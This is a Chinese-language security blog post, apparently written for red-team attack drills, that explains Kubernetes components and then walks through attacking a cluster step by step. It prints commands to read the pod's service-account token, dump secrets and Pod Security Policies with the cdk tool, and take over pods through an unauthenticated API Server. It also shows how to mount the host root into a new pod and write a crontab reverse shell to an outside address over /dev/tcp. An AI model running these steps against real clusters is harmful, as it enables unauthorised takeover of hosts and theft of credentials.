标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3353]   作者: Candy 发表于: [2023-10-27]  [2023-10-27]被用户:Candy 修改过

本文共 [180] 位读者顶过

文章前言

在打攻防演练的时候偶尔会遇到目标内网资产采用集群化部署的情况(GuoQi偏多),在这种情况下由于刷分需求就需要对集群进行攻击测试以争取控制整个集群,本篇文章将从K8s的基本概念、主要组件、架构和安全评估测试方法等维度对K8s的安全进行系统性介绍

基础知识

容器概念

Container(容器)是一种便携式、轻量级的操作系统级虚拟化技术,它使用namespace隔离不同的软件运行环境,并通过镜像自包含软件的运行环境,从而使得容器可以很方便的在任何地方运行,由于容器体积小且启动快,因此可以在每个容器镜像中打包一个应用程序,这种一对一的应用镜像关系拥有很多好处,使用容器不需要与外部的基础架构环境绑定,因为每一个应用程序都不需要外部依赖,更不需要与外部的基础架构环境依赖,完美解决了从开发到生产环境的一致性问题

Pod概念

Kubernetes使用Pod来管理容器,每个Pod可以包含一个或多个紧密关联的容器,Pod是一组紧密关联的容器集合,它们共享PID、IPC、Network 和UTS Namespace,是Kubernetes调度的基本单位,Pod内的多个容器共享网络和文件系统,可以通过进程间通信和文件共享这种简单高效的方式组合完成服务

[出自:jiwo.org]

在Kubernetes中对象使用ManiFest(YAML或JSON)来定义,一个简单的Nginx服务可以定义为nginx.yaml,它包含一个镜像为nginx的容器,示例如下:

apiVersion: v1 kind: Pod metadata: name: nginx labels: app: nginx spec: containers: -name: nginx image: nginx ports: -containerPort: 80 

Node概念

Node是Pod真正运行的主机,可以是物理机,也可以是虚拟机,为了管理Pod每个Node节点上至少要运行Container Runtime(比如docker或者rkt)、 Kubelet和Kube-proxy服务



Namespace

Namespace是对一组资源和对象的抽象集合,比如可以用来将系统内部的对象划分为不同的项目组或用户组,常见的pods, services, replication controllers和deployments等都是属于某一个namespace的(默认是default),而node, persistentVolumes等则不属于任何namespace

Service概念

Service是应用服务的抽象,通过labels为应用提供负载均衡和服务发现,匹配labels的Pod IP和端口列表组成endpoints,由kube-proxy负责将服务IP负载均衡到这些endpoints上,通常每一个Service都会自动分配一个Cluster IP(仅在集群内部可访问的虚拟地址)和DNS名,其他容器可以通过该地址或DNS来访问服务,而不需要了解后端容器的运行:



apiVersion: v1 kind: Service metadata: name: nginx spec: ports: - port: 8078 # the port that this service should serve on name: http # the container on each pod to connect to, can be a name # (e.g. 'www') or a number (e.g. 80) targetPort: 80 protocol: TCP selector: app: nginx 

架构概览

架构源起

Borg是谷歌内部的大规模集群管理系统,负责对谷歌内部很多核心服务的调度和管理,Borg的目的是让用户能够不必操心资源管理的问题,让他们专注于自己的核心业务,并且做到跨多个数据中心的资源利用率最大化
Borg主要由BorgMaster、Borglet、Borgcfg和Scheduler组成,架构示意图如下:



  • Borglet:负责真正运行任务(在容器中)
  • Borgcfg:Borg的命令行工具,用于跟Borg系统交互,一般通过一个配置文件来提交任务
  • Scheduer:负责任务的调度,根据应用的特点将其调度到具体的机器上去
  • BorgMaster:是整个集群的大脑,负责维护整个集群的状态,并将数据持久化到 Paxos 存储中

架构模型

K8s借鉴了Borg的设计理念,比如:Pod、Service、Label、单Pod、单IP等,Kubernetes的整体架构跟Borg非常像,如下图所示:



K8s主要由以下几个核心组件组成:

  • etcd:保存了整个集群的状态
  • apiserver:提供了资源操作的唯一入口,并提供认证、授权、访问控制、API 注册和发现等机制
  • controller manager:负责维护集群的状态,比如:故障检测、自动扩展、滚动更新等
  • scheduler:负责资源的调度,按照预定的调度策略将Pod调度到相应的机器上
  • kubelet:负责维护容器的生命周期,同时也负责Volume(CSI)和网络(CNI)的管理
  • Container runtime:负责镜像管理以及Pod和容器的真正运行(CRI)
  • kube-proxy:负责为Service提供cluster内部的服务发现和负载均衡

核心组件

Kubernetes主要由以下几个核心组件组成,这也是我们对K8s进行安全评估的主要测试维度:

  • etcd:保存了整个集群的状态
  • apiserver:提供了资源操作的唯一入口,并提供认证、授权、访问控制、API注册和发现等机制
  • controller manager:负责维护集群的状态,比如故障检测、自动扩展、滚动更新等
  • scheduler:负责资源的调度,按照预定的调度策略将Pod调度到相应的机器上
  • kubelet:负责维护容器的生命周期,同时也负责Volume(CVI)和网络(CNI)的管理
  • Container runtime:负责镜像管理以及Pod和容器的真正运行(CRI)
  • kube-proxy:负责为Service提供cluster内部的服务发现和负载均衡


下面是关键组件的一些常用默认端口:


渗透路径

常见的K8S的渗透路径:


形象的K8S的渗透过程:


信息收集

我们评估是如果获取到应用的webshell权限时是很有必要判断一下当前的环境的,最狠的一次是之前打HW的时候有厂商搭建了一套完整的域环境的蜜罐系统,看着你打.....,所以这个阶段要做的还是信息收集

环境信息

env



env | grep KUBERNETES
 

容器检测

注意下面的.dockerenv哦:

ls -al
 

内核版本

需要下载kubectl到pod中,之后通过执行以下命令来获取node节点的内核版本信息

kubectl get nodes -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.nodeInfo.kernelVersion}{"\n"}{end}'

Token类

K8s集群创建的Pod中容器内部默认携带K8s Service Account认证凭据(/run/secrets/kubernetes.io/serviceaccount/token),利用该凭据可以认证K8s API-Server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,可以直接利用Service Account管理K8s集群

cat /var/run/secrets/kuberenetes.io/serviceaccount/token

Secret类

K8s Secrets用于存储敏感数据,从Secrets中获取的AK及通信凭证可用户后续渗透中从外部或云产品API窃取信息:

#命令格式 ./cdk run k8s-secret-dump (auto|<service-account-token-path>) #使用实例 ./cdk run k8s-secret-dump auto

安全策略

对于已经获取了kubeconfig或sa账号权限,进而想要创建特殊配置的容器,但是受到了K8s Pod Security Policies的限制时可以使用这个Exploit获取Pod Security Policies的规则信息

#命令格式 ./cdk run k8s-psp-dump (auto|<service-account-token-path> #使用实例 ./cdk run k8s-psp-dump auto 2021/03/24 22:15:58 getting K8s api-server API addr. Find K8s api-server in ENV: https://ip:8443 2021/03/24 22:15:58 trying to dump K8s Pod Security Policies with local service-account: token 2021/03/24 22:15:58 requesting /apis/policy/v1beta1/podsecuritypolicies 2021/03/24 22:15:58 dump Pod Security Policies success, saved in: k8s_pod_security_policies.json 2021/03/24 22:15:58 requesting /api/v1/namespaces/default/pods 2021/03/24 22:15:58 K8S Pod Security Policies rule list: 2021/03/24 22:15:58 rule { securityContext.hostPID: true } is not allowed. 2021/03/24 22:15:58 rule { securityContext.hostIPC: true } is not allowed. 2021/03/24 22:15:58 rule { volumes[0].hostPath.pathPrefix: \"/proc\" } is not allowed. 2021/03/24 22:15:58 rule { volumes[1].hostPath.pathPrefix: \"/dev\" } is not allowed. 2021/03/24 22:15:58 rule { volumes[2].hostPath.pathPrefix: \"/sys\" } is not allowed. 2021/03/24 22:15:58 rule { volumes[3].hostPath.pathPrefix: \"/\" } is not allowed. 2021/03/24 22:15:58 rule { containers[0].securityContext.capabilities.add: \"SYS_ADMIN\" } is not allowed. 2021/03/24 22:15:58 rule { containers[0].securityContext.capabilities.add: \"SYS_PTRACE\" } is not allowed. 

端口服务

内部网络

  • Flannel默认使用10.244.0.0/16网络
  • Calico默认使用192.168.0.0/16网络

常规利用

这一部分注意介绍一些常见的因为K8s自身的漏洞或者安全配置不当导致的可被利用的漏洞点:

未授权类

K8s API Server未授权

基本介绍
k8s的Master节点上会暴露kube-apiserver,默认情况下会开启以下两个HTTP端口:
A:Localhost Port

  • HTTP服务
  • 主机访问受保护
  • 在HTTP中没有认证和授权检查
  • 默认端口8080,修改标识–insecure-port
  • 默认IP是本地主机,修改标识—insecure-bind-address

B:Secure Port

  • 使用基于策略的授权方式
  • 认证方式,令牌文件或者客户端证书
  • 默认端口6443,修改标识—secure-port
  • 默认IP是首个非本地主机的网络接口,修改标识—bind-address
  • HTTPS服务。设置证书和秘钥的标识,–tls-cert-file,–tls-private-key-file

以上两个端口主要存在以下两类安全风险:

  • 开发者使用8080端口并将其暴露在公网上,攻击者就可以通过该端口的API直接对集群下发指令
  • 运维人员将"system:anonymous"用户绑定到"cluster-admin"用户组,使匿名用户可以通过6443端口以管理员权限向集群内部下发指令

漏洞检测
在浏览器中访问以下URL:

#格式说明 http://ip:port/ #使用实例 http://192.168.17.144:8080/


返回以上信息说明存在K8s API Server未授权访问漏洞~
漏洞利用
利用方式按严重程度可分为以下两种攻击类型:

  • 通过利用kubectl客户端调用Secure Port接口去控制已经创建好的容器
  • 通过创建一个自定义的容器将系统根目录的文件挂在到/mnt目录,之后通过修改/mnt/etc/crontab来影响宿主机的crontab,通过反弹Shell拿到宿主机的权限

容器管理

Step 1:获取目标机器的信息

#格式说明 kubectl -s ip:port get nodes #执行实例 kubectl -s 192.168.17.144:8080 get nodes

备注说明:如果出现"Error from server (NotFound): the server could not find the requested resource"报错,可能是因为Kubectl客户端和K8s的Server端版本不相同导致的需要进行降级操作,此时需要将版本降低到和目标主机版本一致即可

curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.8.7/bin/linux/amd64/kubectl chmod 777 kubectl mv /usr/bin/kubectl /usr/bin/kubectl.bak mv kubectl /usr/bin/kubectl 

Step 2:获取命名空间

kubectl -s 192.168.17.144:8080 get namespace

Step 3:获取某一命名空间下的Pod列表

kubectl -s 192.168.17.144:8080 get pod -n default 

Step 4:执行以下命令接管pod,可以看到下方返回的提示是"pod nginx does not have a host assigned",这是由于pod未指定host所致

#格式说明 kubectl -s ip:port --namespace=default exec -it dockername bash #执行实例 kubectl -s 192.168.17.144:8080 -n default exec -it nginx /bin/sh

nginx的yaml文件如下:

apiVersion: v1 kind: Pod metadata: name: nginx spec: containers: - image: nginx:alpine name: container-0 resources: limits: cpu: 100m memory: 200Mi requests: cpu: 100m memory: 200Mi imagePullSecrets: - name: default-secret 

如果幸运的化我们可以找到恰当的Pod并通过信息收集以及逃逸获取宿主机的权限,之后控制节点以及整个集群~
反弹shell
A、Web Dashboard
Step 1:查看当前Namespace确定命名空间有哪些

kubectl -s 192.168.17.144:8080 get namespaces

Step 2:查看"kubernetes-dashboard"命名空间下pod与service的详细状态

kubectl -s 192.168.17.144:8080 get pods,svc -n kubernetes-dashboard -o wide

Step 3:查看Serviceaccount和Secrets

kubectl -s 192.168.17.144:8080 get sa,secrets -n kubernetes-dashboard

Step 4:查看token,在这里我们要根据上一步的输出进行多项service-account-token的查看,因为部分会应权限而导致操作有限

kubectl -s 192.168.17.144:8080 describe secrets admin-myuser-token-jcj9d -n kubernetes-dashboard

Step 5:尝试登录DashBoard


Step 6:创建一个pod,并将本地根目录挂载到pod的/mnt目录中

apiVersion: v1 kind: Pod metadata: name: myapp spec: containers: - image: nginx name: container volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /

Step 7:之后可以看到创建的myapp Pod

Step 8:之后进入挂载的/mnt目录中,就是master节点的对应目录了

Step 9:之后写计划任务

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.17.158/4444 0>&1\n" >> /mnt/etc/crontab

Step 10:成功反弹shell


由于篇幅过长 将会以分篇的形式进行发送

评论

暂无
发表评论
 返回顶部 
热度(180)
 关注微信